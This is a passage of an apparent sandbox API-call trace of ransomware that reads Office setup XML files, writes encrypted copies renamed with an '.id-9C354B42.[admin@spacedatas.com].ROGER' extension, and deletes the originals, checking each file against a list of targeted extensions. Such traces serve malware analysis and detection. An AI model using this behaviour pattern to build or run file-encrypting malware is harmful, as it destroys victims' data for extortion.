lpOverlapped=0x0) returned 1 [0045.369] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.369] WriteFile (in: hFile=0x38c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.370] SetEndOfFile (hFile=0x38c) returned 1 [0045.370] CloseHandle (hObject=0x38c) returned 1 [0045.370] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.370] SetEndOfFile (hFile=0x3a0) returned 1 [0045.371] CloseHandle (hObject=0x3a0) returned 1 [0045.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.371] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0045.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0045.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0045.371] lstrlenW (lpString=".doc") returned 4 [0045.371] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.371] lstrlenW (lpString=".docx") returned 5 [0045.371] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.371] lstrlenW (lpString=".pdf") returned 4 [0045.371] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.371] lstrlenW (lpString=".xls") returned 4 [0045.371] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.371] lstrlenW (lpString=".xlsx") returned 5 [0045.372] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.372] lstrlenW (lpString=".ppt") returned 4 [0045.372] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0045.372] lstrlenW (lpString=".zip") returned 4 [0045.372] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.372] lstrlenW (lpString=".rar") returned 4 [0045.372] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.372] lstrlenW (lpString=".bz2") returned 4 [0045.372] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.372] lstrlenW (lpString=".7z") returned 3 [0045.372] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0045.372] lstrlenW (lpString=".dbf") returned 4 [0045.372] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0045.372] lstrlenW (lpString=".1cd") returned 4 [0045.372] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0045.372] lstrlenW (lpString=".jpg") returned 4 [0045.372] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0045.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0045.372] lstrlenW (lpString=".doc") returned 4 [0045.372] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.372] lstrlenW (lpString=".docx") returned 5 [0045.372] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.372] lstrlenW (lpString=".pdf") returned 4 [0045.372] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.373] lstrlenW (lpString=".xls") returned 4 [0045.373] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.373] lstrlenW (lpString=".xlsx") returned 5 [0045.373] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.373] lstrlenW (lpString=".ppt") returned 4 [0045.373] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0045.373] lstrlenW (lpString=".zip") returned 4 [0045.373] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.373] lstrlenW (lpString=".rar") returned 4 [0045.373] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.373] lstrlenW (lpString=".bz2") returned 4 [0045.373] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.373] lstrlenW (lpString=".7z") returned 3 [0045.373] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0045.373] lstrlenW (lpString=".dbf") returned 4 [0045.373] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0045.373] lstrlenW (lpString=".1cd") returned 4 [0045.373] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0045.373] lstrlenW (lpString=".jpg") returned 4 [0045.373] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.373] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.373] lstrlenW (lpString="SETUP.XML") returned 9 [0045.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.374] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=6241) returned 1 [0045.374] CloseHandle (hObject=0x3a0) returned 1 [0045.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0045.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.375] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.375] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0045.375] GetLastError () returned 0x0 [0045.375] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x1861, lpOverlapped=0x0) returned 1 [0045.377] WriteFile (in: hFile=0x38c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0045.378] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.378] WriteFile (in: hFile=0x38c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.378] SetEndOfFile (hFile=0x38c) returned 1 [0045.378] CloseHandle (hObject=0x38c) returned 1 [0045.378] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.378] SetEndOfFile (hFile=0x3a0) returned 1 [0045.379] CloseHandle (hObject=0x3a0) returned 1 [0045.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.379] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0045.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0045.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0045.379] lstrlenW (lpString=".doc") returned 4 [0045.379] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.379] lstrlenW (lpString=".docx") returned 5 [0045.379] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.379] lstrlenW (lpString=".pdf") returned 4 [0045.379] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.379] lstrlenW (lpString=".xls") returned 4 [0045.380] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.380] lstrlenW (lpString=".xlsx") returned 5 [0045.380] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.380] lstrlenW (lpString=".ppt") returned 4 [0045.380] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0045.380] lstrlenW (lpString=".zip") returned 4 [0045.380] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.380] lstrlenW (lpString=".rar") returned 4 [0045.380] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.380] lstrlenW (lpString=".bz2") returned 4 [0045.380] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.380] lstrlenW (lpString=".7z") returned 3 [0045.380] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0045.380] lstrlenW (lpString=".dbf") returned 4 [0045.380] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0045.380] lstrlenW (lpString=".1cd") returned 4 [0045.380] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0045.380] lstrlenW (lpString=".jpg") returned 4 [0045.380] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0045.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0045.380] lstrlenW (lpString=".doc") returned 4 [0045.380] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.380] lstrlenW (lpString=".docx") returned 5 [0045.380] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.380] lstrlenW (lpString=".pdf") returned 4 [0045.381] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.381] lstrlenW (lpString=".xls") returned 4 [0045.381] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.381] lstrlenW (lpString=".xlsx") returned 5 [0045.381] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.381] lstrlenW (lpString=".ppt") returned 4 [0045.381] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0045.381] lstrlenW (lpString=".zip") returned 4 [0045.381] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.381] lstrlenW (lpString=".rar") returned 4 [0045.381] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.381] lstrlenW (lpString=".bz2") returned 4 [0045.381] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.381] lstrlenW (lpString=".7z") returned 3 [0045.381] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0045.381] lstrlenW (lpString=".dbf") returned 4 [0045.381] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0045.381] lstrlenW (lpString=".1cd") returned 4 [0045.381] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0045.381] lstrlenW (lpString=".jpg") returned 4 [0045.381] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.381] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.381] lstrlenW (lpString="VisioMUI.XML") returned 12 [0045.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.382] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=9503) returned 1 [0045.382] CloseHandle (hObject=0x3a0) returned 1 [0045.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0045.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.383] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.383] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0045.630] GetLastError () returned 0x0 [0045.630] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x251f, lpOverlapped=0x0) returned 1 [0045.631] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0045.632] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.632] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.632] SetEndOfFile (hFile=0x358) returned 1 [0045.632] CloseHandle (hObject=0x358) returned 1 [0045.632] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.632] SetEndOfFile (hFile=0x3a0) returned 1 [0045.633] CloseHandle (hObject=0x3a0) returned 1 [0045.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.633] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0045.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0045.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0045.633] lstrlenW (lpString=".doc") returned 4 [0045.633] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.633] lstrlenW (lpString=".docx") returned 5 [0045.634] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0045.634] lstrlenW (lpString=".pdf") returned 4 [0045.634] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.634] lstrlenW (lpString=".xls") returned 4 [0045.634] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.634] lstrlenW (lpString=".xlsx") returned 5 [0045.634] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0045.634] lstrlenW (lpString=".ppt") returned 4 [0045.634] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0045.634] lstrlenW (lpString=".zip") returned 4 [0045.634] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.634] lstrlenW (lpString=".rar") returned 4 [0045.634] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.634] lstrlenW (lpString=".bz2") returned 4 [0045.634] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.634] lstrlenW (lpString=".7z") returned 3 [0045.634] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0045.634] lstrlenW (lpString=".dbf") returned 4 [0045.634] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0045.634] lstrlenW (lpString=".1cd") returned 4 [0045.634] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0045.635] lstrlenW (lpString=".jpg") returned 4 [0045.635] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0045.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0045.635] lstrlenW (lpString=".doc") returned 4 [0045.635] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.635] lstrlenW (lpString=".docx") returned 5 [0045.635] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0045.635] lstrlenW (lpString=".pdf") returned 4 [0045.635] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.635] lstrlenW (lpString=".xls") returned 4 [0045.635] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.635] lstrlenW (lpString=".xlsx") returned 5 [0045.635] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0045.635] lstrlenW (lpString=".ppt") returned 4 [0045.635] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0045.635] lstrlenW (lpString=".zip") returned 4 [0045.635] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.635] lstrlenW (lpString=".rar") returned 4 [0045.635] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.635] lstrlenW (lpString=".bz2") returned 4 [0045.635] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.635] lstrlenW (lpString=".7z") returned 3 [0045.635] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0045.635] lstrlenW (lpString=".dbf") returned 4 [0045.635] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0045.635] lstrlenW (lpString=".1cd") returned 4 [0045.636] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0045.636] lstrlenW (lpString=".jpg") returned 4 [0045.636] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.636] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.636] lstrlenW (lpString="SETUP.XML") returned 9 [0045.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.642] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=2424) returned 1 [0045.642] CloseHandle (hObject=0x3a0) returned 1 [0045.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0045.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0045.642] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: 